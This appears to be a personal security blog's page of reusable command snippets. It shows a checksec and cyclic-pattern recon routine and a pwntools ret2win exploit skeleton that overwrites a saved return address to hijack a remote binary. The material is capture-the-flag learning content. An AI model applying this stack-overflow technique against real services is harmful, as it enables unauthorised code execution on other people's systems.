M4cCrypt0
cat ~/snippets/*.md

command snippets

// reusable, tested command templates — recon, web exploitation, privesc, pivoting, forensics. Copy, swap the <placeholders>, go.

$ grep -ri
all binary exploitation (2) cryptography (2) python (2) red team (4) web-exploitation (8) blue-team (1) forensics (1) foundation (1) privilege escalation (1)
// tool any checksec (1) curl (2) feroxbuster (1) ffuf (1) gobuster (1) hashcat (1) nc (1) nmap (1) pwntools (1) ssh (1)
2026-08-06 bash checksec Binary Exploitation

Pwn Recon — checksec + Cyclic Offset

First moves against a pwn target: read the binary''s mitigations (NX/PIE/RELRO/canary), then pin the overflow offset with a De Bruijn pattern.

bash 
# which mitigations are in play?
checksec --file=./<binary>

# find the exact offset to the saved return address
pwn cyclic 200            # generate a pattern, feed it to the crashing input
pwn cyclic -l 0x<value>   # look up the offset from the value that landed in RIP/EIP

used in: Ret2Win with Stack-Alignment Fix (CET/SHSTK)

2026-08-06 python pwntools Binary Exploitationpython

ret2win pwntools Skeleton

Minimal pwntools template for a classic ret2win: pad to the saved return address, then jump to the win function.

python 
from pwn import *

elf = context.binary = ELF('./<binary>')
# p = process(elf.path)
p = remote('<target-ip>', <port>)

OFFSET = <offset>              # bytes from buffer start to saved RIP
win    = elf.symbols['win']    # target function address

payload  = b'A' * OFFSET
payload += p64(win)            # overwrite return address

p.sendlineafter(b'> ', payload)
p.interactive()

used in: Ret2Win with Stack-Alignment Fix (CET/SHSTK)